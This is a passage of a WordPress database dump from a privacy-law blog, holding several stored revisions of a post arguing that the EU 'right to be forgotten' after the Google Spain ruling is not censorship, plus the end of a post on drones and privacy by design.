href=\"https://fpf.org/\" target=\"_blank\" rel=\"noreferrer noopener\">Future of Privacy Forum (FPF)</a>,&nbsp;<a href=\"http://www.intel.com/\" target=\"_blank\" rel=\"noreferrer noopener\">Intel</a>, and&nbsp;<a href=\"http://www.precisionhawk.com/\" target=\"_blank\" rel=\"noreferrer noopener\">PrecisionHawk</a>&nbsp;released&nbsp;<a href=\"http://fpf.org/wp-content/uploads/2016/08/Drones_and_Privacy_by_Design_FPF_Intel_PrecisionHawk.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Drones and Privacy by Design: Embedding Privacy Enhancing Technology in Unmanned Aircraft</a>. The report highlights examples of privacy enhancing technologies and “Privacy-by-Design” applied to drones.</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>\"Drones and Privacy by Design describes techniques that can be used to safeguard privacy and support responsible data practices, including practices described in the May 2016 stakeholder-drafted&nbsp;<a href=\"https://www.ntia.doc.gov/files/ntia/publications/uas_privacy_best_practices_6-21-16.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Voluntary Best Practices for UAS Privacy, Transparency, and Accountability</a>.&nbsp; “The best practices were developed through hard-won consensus within the drone community,” said John Verdi, FPF’s Vice President of Policy. “They articulate important principles that should guide drone operators’ data practices, and today’s report describes practical safeguards that can help operators implement those principles.”</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;One scholar has long been studying the legal and ethical issues,&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/ryan-calo/id16152989\" target=\"_blank\" rel=\"noreferrer noopener\">Ryan Calo</a>. I have collected most of his work, papers, interviews and videos.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All to be found&nbsp;<a href=\"http://www.pearltrees.com/dronelaw\" target=\"_blank\" rel=\"noreferrer noopener\">here.</a>&nbsp;Drones and&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/self-driving-cars/id16157882\" target=\"_blank\" rel=\"noreferrer noopener\">Driveless cars</a>&nbsp;with elements of regulations in most western countries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;A good read in The Economist :&nbsp;<a href=\"http://www.economist.com/blogs/democracyinamerica/2015/03/drones-and-privacy\" target=\"_blank\" rel=\"noreferrer noopener\">\' Drones and privacy. A looming threat\'.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Picture, \'Le Monde Sans Dessus Dessous\', Photography by Tara Taubman Bassirian.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><strong>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</strong></em>Report this</p>\n<!-- /wp:paragraph -->','Drones, Autonomus Cars, Ethics and Regulation','','inherit','closed','closed','','831-revision-v1','','','2020-05-02 13:14:45','2020-05-02 12:14:45','',831,'https://datarainbow.eu/2020/05/02/831-revision-v1/',0,'revision','',0),(833,5,'2020-05-02 13:22:48','2020-05-02 12:22:48','<!-- wp:paragraph -->\n<p>In its landmark decision&nbsp;<a href=\"http://curia.europa.eu/juris/document/document.jsf?text=&amp;docid=152065&amp;pageIndex=0&amp;doclang=en&amp;mode=lst&amp;dir=&amp;occ=first&amp;part=1&amp;cid=243691\" target=\"_blank\" rel=\"noreferrer noopener\">Google Spain SL, Google Inc. v Agencia Española de Protección de Datos, Mario Costeja González</a>&nbsp;of 13th May 2014, the Court of Justice of the European Union (CJEU) holds that:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1 - A search engine processes personal data;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2 - The search engine is a controller because it determines the purposes and means of the processing;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3 - When the processing is carried out by a corporation located in the EU, the directive applies;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What does that mean. So far, that means EU citizens or whoever based in the EU, could fill in a&nbsp;<a href=\"https://support.google.com/legal/contact/lr_eudpa?product=websearch\" target=\"_blank\" rel=\"noreferrer noopener\">Google form</a>&nbsp;to ask Google to remove the link to a content when inappropriate, irrelevant or no longer relevant or excessive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The term generally used, \'the right to be forgotten\', can be misleading. During a recent online<a href=\"http://itsecurity.co.uk/2015/03/the-right-to-be-forgotten/\" target=\"_blank\" rel=\"noreferrer noopener\">&nbsp;video debate iQ2</a>, Intelligence Squared, invited two teams of experts to debate the extend \'a\' right to be forgotten in the US. This debate clearly show the misunderstanding of the rule of the ECJ. I wrote a&nbsp;<a href=\"http://itsecurity.co.uk/2015/03/the-right-to-be-forgotten/\" target=\"_blank\" rel=\"noreferrer noopener\">post on the ITSecurity web magazine</a>, trying to clarify the meaning of the ruling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is important to understand their is no risk of censorship whatsoever as the content is not being removed. There is no attempt to free speech, All that is asked from the search engine Google is to \'de-link\' the content from his search results. If someone wants to research the history, the website will have kept, if it wishes so, the information. What this right is doing is to re-establish a sort of trimming previously naturally operated by human memory. Can you imagine if you were to remember every single thing that happened in your life? How could anyone ever depart from a previous mistake if that mistake remains omni-present? This is a very crucial question for the new generation whose private lives are being disseminating everywhere online.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The human brain naturally \'dissolves\' the facts to retain what is most relevant. In the digital era, information is indelible, spread at large scale at no cost, freely available. It is necessary to restaure the natural balance between privacy, the public interest to be informed and the right to be forgotten. This is exactly the mission devoted to search engines, main instrument of pointing users to available digital information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As always, you can read all relevant opinions and publications on my Pearltrees under&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/right-forgotten/id1603963\" target=\"_blank\" rel=\"noreferrer noopener\">\'Right to be forgotten\'</a>&nbsp;(click on each square to access the website).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Updates :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.blog.google/topics/google-europe/three-years-right-to-be-forgotten-balance/?mkt_tok=eyJpIjoiTWpkaU56UmpOV1UwTlRNMiIsInQiOiI3NGliNG5ZS045dTBOWW15UDRQa2hcL0hwNUxrV1duQjdlSWx0Q2JSM3hkUWtVdUdcL0M0cDhYRGg4RlF5MjZxanozWmRiT3A2RGZhUXdjMkZiQ3R3cUlxdmJFbldnR3pObm1xc1RtRzNXdGFSdkZvZlRSZ09abXRqYVE5N1FkWjQ1In0%3D\" target=\"_blank\" rel=\"noreferrer noopener\">Three years of striking the right (to be forgotten) balance</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a rel=\"noreferrer noopener\" href=\"http://www.stefankulk.nl/index.php/1770/dutch-dpa-releases-new-data-about-the-right-to-be-forgotten/?mkt_tok=eyJpIjoiTWpkaU56UmpOV1UwTlRNMiIsInQiOiI3NGliNG5ZS045dTBOWW15UDRQa2hcL0hwNUxrV1duQjdlSWx0Q2JSM3hkUWtVdUdcL0M0cDhYRGg4RlF5MjZxanozWmRiT3A2RGZhUXdjMkZiQ3R3cUlxdmJFbldnR3pObm1xc1RtRzNXdGFSdkZvZlRSZ09abXRqYVE5N1FkWjQ1In0%3D\" target=\"_blank\">Dutch DPA shares new data about the Right to be Forgotten</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.nextinpact.com/news/104294-droit-a-loubli-google-plaide-pour-mise-en-balance-interets-en-presence.htm\">« Droit à l’oubli » : Google plaide pour la mise en balance des intérêts en présence</a><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://mobile-reuters-com.cdn.ampproject.org/c/mobile.reuters.com/article/amp/idUSKCN18C1QX\">EU judges to tackle \'right to be forgotten\' again</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><a href=\"https://www.rcfp.org/sites/default/files/RCFP_CNIL_Sept14-English.pdf\"><em>The Reporters Committee for Freedom of the Press</em></a><em> and the undersigned<br> news and journalism organizations write to express concerns regarding the notice given by CNIL to Google Inc. on May 21, 2015 ordering the company to apply new delisting requirements to all domains of the search engine and not merely to its domains in the European Union. In making its order public, CNIL referred specifically to its desire to “inform . . . content publishers . . . of the scope . . . of the right to obtain erasure of personal data.”1 It is in that spirit of dialogue that we offer these objections.</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a <a rel=\"noreferrer noopener\" href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','The Right to be Forgotten is No Censorship','','publish','closed','closed','','833','','','2020-05-02 13:35:16','2020-05-02 12:35:16','',0,'http://datarainbow.eu/?p=833',0,'post','',0),(834,5,'2020-05-02 13:22:48','2020-05-02 12:22:48','<!-- wp:paragraph -->\n<p>In its landmark decision&nbsp;<a href=\"http://curia.europa.eu/juris/document/document.jsf?text=&amp;docid=152065&amp;pageIndex=0&amp;doclang=en&amp;mode=lst&amp;dir=&amp;occ=first&amp;part=1&amp;cid=243691\" target=\"_blank\" rel=\"noreferrer noopener\">Google Spain SL, Google Inc. v Agencia Española de Protección de Datos, Mario Costeja González</a>&nbsp;of 13th May 2014, the Court of Justice of the European Union (CJEU) holds that:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1 - A search engine processes personal data;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2 - The search engine is a controller because it determines the purposes and means of the processing;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3 - When the processing is carried out by a corporation located in the EU, the directive applies;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What does that mean. So far, that means EU citizens or whoever based in the EU, could fill in a&nbsp;<a href=\"https://support.google.com/legal/contact/lr_eudpa?product=websearch\" target=\"_blank\" rel=\"noreferrer noopener\">Google form</a>&nbsp;to ask Google to remove the link to a content when inappropriate, irrelevant or no longer relevant or excessive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The term generally used, \'the right to be forgotten\', can be misleading. During a recent online<a href=\"http://itsecurity.co.uk/2015/03/the-right-to-be-forgotten/\" target=\"_blank\" rel=\"noreferrer noopener\">&nbsp;video debate iQ2</a>, Intelligence Squared, invited two teams of experts to debate the extend \'a\' right to be forgotten in the US. This debate clearly show the misunderstanding of the rule of the ECJ. I wrote a&nbsp;<a href=\"http://itsecurity.co.uk/2015/03/the-right-to-be-forgotten/\" target=\"_blank\" rel=\"noreferrer noopener\">post on the ITSecurity web magazine</a>, trying to clarify the meaning of the ruling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is important to understand their is no risk of censorship whatsoever as the content is not being removed. There is no attempt to free speech, All that is asked from the search engine Google is to \'de-link\' the content from his search results. If someone wants to research the history, the website will have kept, if it wishes so, the information. What this right is doing is to re-establish a sort of trimming previously naturally operated by human memory. Can you imagine if you were to remember every single thing that happened in your life? How could anyone ever depart from a previous mistake if that mistake remains omni-present? This is a very crucial question for the new generation whose private lives are being disseminating everywhere online.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The human brain naturally \'dissolves\' the facts to retain what is most relevant. In the digital era, information is indelible, spread at large scale at no cost, freely available. It is necessary to restaure the natural balance between privacy, the public interest to be informed and the right to be forgotten. This is exactly the mission devoted to search engines, main instrument of pointing users to available digital information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As always, you can read all relevant opinions and publications on my Pearltrees under&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/right-forgotten/id1603963\" target=\"_blank\" rel=\"noreferrer noopener\">\'Right to be forgotten\'</a>&nbsp;(click on each square to access the website).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Updates :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"https://www.blog.google/topics/google-europe/three-years-right-to-be-forgotten-balance/?mkt_tok=eyJpIjoiTWpkaU56UmpOV1UwTlRNMiIsInQiOiI3NGliNG5ZS045dTBOWW15UDRQa2hcL0hwNUxrV1duQjdlSWx0Q2JSM3hkUWtVdUdcL0M0cDhYRGg4RlF5MjZxanozWmRiT3A2RGZhUXdjMkZiQ3R3cUlxdmJFbldnR3pObm1xc1RtRzNXdGFSdkZvZlRSZ09abXRqYVE5N1FkWjQ1In0%3D\" target=\"_blank\" rel=\"noreferrer noopener\">Three years of striking the right (to be forgotten) balance</a>.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading -->\n<h2><a rel=\"noreferrer noopener\" href=\"http://www.stefankulk.nl/index.php/1770/dutch-dpa-releases-new-data-about-the-right-to-be-forgotten/?mkt_tok=eyJpIjoiTWpkaU56UmpOV1UwTlRNMiIsInQiOiI3NGliNG5ZS045dTBOWW15UDRQa2hcL0hwNUxrV1duQjdlSWx0Q2JSM3hkUWtVdUdcL0M0cDhYRGg4RlF5MjZxanozWmRiT3A2RGZhUXdjMkZiQ3R3cUlxdmJFbldnR3pObm1xc1RtRzNXdGFSdkZvZlRSZ09abXRqYVE5N1FkWjQ1In0%3D\" target=\"_blank\">Dutch DPA shares new data about the Right to be Forgotten</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.nextinpact.com/news/104294-droit-a-loubli-google-plaide-pour-mise-en-balance-interets-en-presence.htm\">« Droit à l’oubli » : Google plaide pour la mise en balance des intérêts en présence</a><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://mobile-reuters-com.cdn.ampproject.org/c/mobile.reuters.com/article/amp/idUSKCN18C1QX\">EU judges to tackle \'right to be forgotten\' again</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>https://www.rcfp.org/sites/default/files/RCFP_CNIL_Sept14-English.pdf</li><li>This work is licensed under a <a rel=\"noreferrer noopener\" href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\">Creative Commons Attribution 4.0 International License</a>.</li></ul>\n<!-- /wp:list -->','','','inherit','closed','closed','','833-revision-v1','','','2020-05-02 13:22:48','2020-05-02 12:22:48','',833,'https://datarainbow.eu/2020/05/02/833-revision-v1/',0,'revision','',0),(835,5,'2020-05-02 13:24:50','2020-05-02 12:24:50','<!-- wp:paragraph -->\n<p>In its landmark decision&nbsp;<a href=\"http://curia.europa.eu/juris/document/document.jsf?text=&amp;docid=152065&amp;pageIndex=0&amp;doclang=en&amp;mode=lst&amp;dir=&amp;occ=first&amp;part=1&amp;cid=243691\" target=\"_blank\" rel=\"noreferrer noopener\">Google Spain SL, Google Inc. v Agencia Española de Protección de Datos, Mario Costeja González</a>&nbsp;of 13th May 2014, the Court of Justice of the European Union (CJEU) holds that:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1 - A search engine processes personal data;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2 - The search engine is a controller because it determines the purposes and means of the processing;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3 - When the processing is carried out by a corporation located in the EU, the directive applies;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What does that mean. So far, that means EU citizens or whoever based in the EU, could fill in a&nbsp;<a href=\"https://support.google.com/legal/contact/lr_eudpa?product=websearch\" target=\"_blank\" rel=\"noreferrer noopener\">Google form</a>&nbsp;to ask Google to remove the link to a content when inappropriate, irrelevant or no longer relevant or excessive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The term generally used, \'the right to be forgotten\', can be misleading. During a recent online<a href=\"http://itsecurity.co.uk/2015/03/the-right-to-be-forgotten/\" target=\"_blank\" rel=\"noreferrer noopener\">&nbsp;video debate iQ2</a>, Intelligence Squared, invited two teams of experts to debate the extend \'a\' right to be forgotten in the US. This debate clearly show the misunderstanding of the rule of the ECJ. I wrote a&nbsp;<a href=\"http://itsecurity.co.uk/2015/03/the-right-to-be-forgotten/\" target=\"_blank\" rel=\"noreferrer noopener\">post on the ITSecurity web magazine</a>, trying to clarify the meaning of the ruling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is important to understand their is no risk of censorship whatsoever as the content is not being removed. There is no attempt to free speech, All that is asked from the search engine Google is to \'de-link\' the content from his search results. If someone wants to research the history, the website will have kept, if it wishes so, the information. What this right is doing is to re-establish a sort of trimming previously naturally operated by human memory. Can you imagine if you were to remember every single thing that happened in your life? How could anyone ever depart from a previous mistake if that mistake remains omni-present? This is a very crucial question for the new generation whose private lives are being disseminating everywhere online.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The human brain naturally \'dissolves\' the facts to retain what is most relevant. In the digital era, information is indelible, spread at large scale at no cost, freely available. It is necessary to restaure the natural balance between privacy, the public interest to be informed and the right to be forgotten. This is exactly the mission devoted to search engines, main instrument of pointing users to available digital information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As always, you can read all relevant opinions and publications on my Pearltrees under&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/right-forgotten/id1603963\" target=\"_blank\" rel=\"noreferrer noopener\">\'Right to be forgotten\'</a>&nbsp;(click on each square to access the website).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Updates :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"https://www.blog.google/topics/google-europe/three-years-right-to-be-forgotten-balance/?mkt_tok=eyJpIjoiTWpkaU56UmpOV1UwTlRNMiIsInQiOiI3NGliNG5ZS045dTBOWW15UDRQa2hcL0hwNUxrV1duQjdlSWx0Q2JSM3hkUWtVdUdcL0M0cDhYRGg4RlF5MjZxanozWmRiT3A2RGZhUXdjMkZiQ3R3cUlxdmJFbldnR3pObm1xc1RtRzNXdGFSdkZvZlRSZ09abXRqYVE5N1FkWjQ1In0%3D\" target=\"_blank\" rel=\"noreferrer noopener\">Three years of striking the right (to be forgotten) balance</a>.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading -->\n<h2><a rel=\"noreferrer noopener\" href=\"http://www.stefankulk.nl/index.php/1770/dutch-dpa-releases-new-data-about-the-right-to-be-forgotten/?mkt_tok=eyJpIjoiTWpkaU56UmpOV1UwTlRNMiIsInQiOiI3NGliNG5ZS045dTBOWW15UDRQa2hcL0hwNUxrV1duQjdlSWx0Q2JSM3hkUWtVdUdcL0M0cDhYRGg4RlF5MjZxanozWmRiT3A2RGZhUXdjMkZiQ3R3cUlxdmJFbldnR3pObm1xc1RtRzNXdGFSdkZvZlRSZ09abXRqYVE5N1FkWjQ1In0%3D\" target=\"_blank\">Dutch DPA shares new data about the Right to be Forgotten</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.nextinpact.com/news/104294-droit-a-loubli-google-plaide-pour-mise-en-balance-interets-en-presence.htm\">« Droit à l’oubli » : Google plaide pour la mise en balance des intérêts en présence</a><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://mobile-reuters-com.cdn.ampproject.org/c/mobile.reuters.com/article/amp/idUSKCN18C1QX\">EU judges to tackle \'right to be forgotten\' again</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><a href=\"https://www.rcfp.org/sites/default/files/RCFP_CNIL_Sept14-English.pdf\"><em>The Reporters Committee for Freedom of the Press</em></a><em> and the undersigned<br> news and journalism organizations write to express concerns regarding the notice given by CNIL to Google Inc. on May 21, 2015 ordering the company to apply new delisting requirements to all domains of the search engine and not merely to its domains in the European Union. In making its order public, CNIL referred specifically to its desire to “inform . . . content publishers . . . of the scope . . . of the right to obtain erasure of personal data.”1 It is in that spirit of dialogue that we offer these objections.</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a <a rel=\"noreferrer noopener\" href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','','','inherit','closed','closed','','833-revision-v1','','','2020-05-02 13:24:50','2020-05-02 12:24:50','',833,'https://datarainbow.eu/2020/05/02/833-revision-v1/',0,'revision','',0),(836,5,'2020-05-02 13:27:21','2020-05-02 12:27:21','<!-- wp:paragraph -->\n<p>In its landmark decision&nbsp;<a href=\"http://curia.europa.eu/juris/document/document.jsf?text=&amp;docid=152065&amp;pageIndex=0&amp;doclang=en&amp;mode=lst&amp;dir=&amp;occ=first&amp;part=1&amp;cid=243691\" target=\"_blank\" rel=\"noreferrer noopener\">Google Spain SL, Google Inc. v Agencia Española de Protección de Datos, Mario Costeja González</a>&nbsp;of 13th May 2014, the Court of Justice of the European Union (CJEU) holds that:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1 - A search engine processes personal data;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2 - The search engine is a controller because it determines the purposes and means of the processing;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3 - When the processing is carried out by a corporation located in the EU, the directive applies;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What does that mean. So far, that means EU citizens or whoever based in the EU, could fill in a&nbsp;<a href=\"https://support.google.com/legal/contact/lr_eudpa?product=websearch\" target=\"_blank\" rel=\"noreferrer noopener\">Google form</a>&nbsp;to ask Google to remove the link to a content when inappropriate, irrelevant or no longer relevant or excessive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The term generally used, \'the right to be forgotten\', can be misleading. During a recent online<a href=\"http://itsecurity.co.uk/2015/03/the-right-to-be-forgotten/\" target=\"_blank\" rel=\"noreferrer noopener\">&nbsp;video debate iQ2</a>, Intelligence Squared, invited two teams of experts to debate the extend \'a\' right to be forgotten in the US. This debate clearly show the misunderstanding of the rule of the ECJ. I wrote a&nbsp;<a href=\"http://itsecurity.co.uk/2015/03/the-right-to-be-forgotten/\" target=\"_blank\" rel=\"noreferrer noopener\">post on the ITSecurity web magazine</a>, trying to clarify the meaning of the ruling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is important to understand their is no risk of censorship whatsoever as the content is not being removed. There is no attempt to free speech, All that is asked from the search engine Google is to \'de-link\' the content from his search results. If someone wants to research the history, the website will have kept, if it wishes so, the information. What this right is doing is to re-establish a sort of trimming previously naturally operated by human memory. Can you imagine if you were to remember every single thing that happened in your life? How could anyone ever depart from a previous mistake if that mistake remains omni-present? This is a very crucial question for the new generation whose private lives are being disseminating everywhere online.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The human brain naturally \'dissolves\' the facts to retain what is most relevant. In the digital era, information is indelible, spread at large scale at no cost, freely available. It is necessary to restaure the natural balance between privacy, the public interest to be informed and the right to be forgotten. This is exactly the mission devoted to search engines, main instrument of pointing users to available digital information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As always, you can read all relevant opinions and publications on my Pearltrees under&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/right-forgotten/id1603963\" target=\"_blank\" rel=\"noreferrer noopener\">\'Right to be forgotten\'</a>&nbsp;(click on each square to access the website).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Updates :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.blog.google/topics/google-europe/three-years-right-to-be-forgotten-balance/?mkt_tok=eyJpIjoiTWpkaU56UmpOV1UwTlRNMiIsInQiOiI3NGliNG5ZS045dTBOWW15UDRQa2hcL0hwNUxrV1duQjdlSWx0Q2JSM3hkUWtVdUdcL0M0cDhYRGg4RlF5MjZxanozWmRiT3A2RGZhUXdjMkZiQ3R3cUlxdmJFbldnR3pObm1xc1RtRzNXdGFSdkZvZlRSZ09abXRqYVE5N1FkWjQ1In0%3D\" target=\"_blank\" rel=\"noreferrer noopener\">Three years of striking the right (to be forgotten) balance</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a rel=\"noreferrer noopener\" href=\"http://www.stefankulk.nl/index.php/1770/dutch-dpa-releases-new-data-about-the-right-to-be-forgotten/?mkt_tok=eyJpIjoiTWpkaU56UmpOV1UwTlRNMiIsInQiOiI3NGliNG5ZS045dTBOWW15UDRQa2hcL0hwNUxrV1duQjdlSWx0Q2JSM3hkUWtVdUdcL0M0cDhYRGg4RlF5MjZxanozWmRiT3A2RGZhUXdjMkZiQ3R3cUlxdmJFbldnR3pObm1xc1RtRzNXdGFSdkZvZlRSZ09abXRqYVE5N1FkWjQ1In0%3D\" target=\"_blank\">Dutch DPA shares new data about the Right to be Forgotten</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.nextinpact.com/news/104294-droit-a-loubli-google-plaide-pour-mise-en-balance-interets-en-presence.htm\">« Droit à l’oubli » : Google plaide pour la mise en balance des intérêts en présence</a><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://mobile-reuters-com.cdn.ampproject.org/c/mobile.reuters.com/article/amp/idUSKCN18C1QX\">EU judges to tackle \'right to be forgotten\' again</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><a href=\"https://www.rcfp.org/sites/default/files/RCFP_CNIL_Sept14-English.pdf\"><em>The Reporters Committee for Freedom of the Press</em></a><em> and the undersigned<br> news and journalism organizations write to express concerns regarding the notice given by CNIL to Google Inc. on May 21, 2015 ordering the company to apply new delisting requirements to all domains of the search engine and not merely to its domains in the European Union. In making its order public, CNIL referred specifically to its desire to “inform . . . content publishers . . . of the scope . . . of the right to obtain erasure of personal data.”1 It is in that spirit of dialogue that we offer these objections.</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a <a rel=\"noreferrer noopener\" href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','','','inherit','closed','closed','','833-revision-v1','','','2020-05-02 13:27:21','2020-05-02 12:27:21','',833,'https://datarainbow.eu/2020/05/02/833-revision-v1/',0,'revision','',0),(837,5,'2020-05-02 13:27:49','2020-05-02 12:27:49','<!-- wp:paragraph -->\n<p>In its landmark decision&nbsp;<a href=\"http://curia.europa.eu/juris/document/document.jsf?text=&amp;docid=152065&amp;pageIndex=0&amp;doclang=en&amp;mode=lst&amp;dir=&amp;occ=first&amp;part=1&amp;cid=243691\" target=\"_blank\" rel=\"noreferrer noopener\">Google Spain SL, Google Inc. v Agencia Española de Protección de Datos, Mario Costeja González</a>&nbsp;of 13th May 2014, the Court of Justice of the European Union (CJEU) holds that:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1 - A search engine processes personal data;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2 - The search engine is a controller because it determines the purposes and means of the processing;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3 - When the processing is carried out by a corporation located in the EU, the directive applies;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What does that mean. So far, that means EU citizens or whoever based in the EU, could fill in a&nbsp;<a href=\"https://support.google.com/legal/contact/lr_eudpa?product=websearch\" target=\"_blank\" rel=\"noreferrer noopener\">Google form</a>&nbsp;to ask Google to remove the link to a content when inappropriate, irrelevant or no longer relevant or excessive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The term generally used, \'the right to be forgotten\', can be misleading. During a recent online<a href=\"http://itsecurity.co.uk/2015/03/the-right-to-be-forgotten/\" target=\"_blank\" rel=\"noreferrer noopener\">&nbsp;video debate iQ2</a>, Intelligence Squared, invited two teams of experts to debate the extend \'a\' right to be forgotten in the US. This debate clearly show the misunderstanding of the rule of the ECJ. I wrote a&nbsp;<a href=\"http://itsecurity.co.uk/2015/03/the-right-to-be-forgotten/\" target=\"_blank\" rel=\"noreferrer noopener\">post on the ITSecurity web magazine</a>, trying to clarify the meaning of the ruling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is important to understand their is no risk of censorship whatsoever as the content is not being removed. There is no attempt to free speech, All that is asked from the search engine Google is to \'de-link\' the content from his search results. If someone wants to research the history, the website will have kept, if it wishes so, the information. What this right is doing is to re-establish a sort of trimming previously naturally operated by human memory. Can you imagine if you were to remember every single thing that happened in your life? How could anyone ever depart from a previous mistake if that mistake remains omni-present? This is a very crucial question for the new generation whose private lives are being disseminating everywhere online.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The human brain naturally \'dissolves\' the facts to retain what is most relevant. In the digital era, information is indelible, spread at large scale at no cost, freely available. It is necessary to restaure the natural balance between privacy, the public interest to 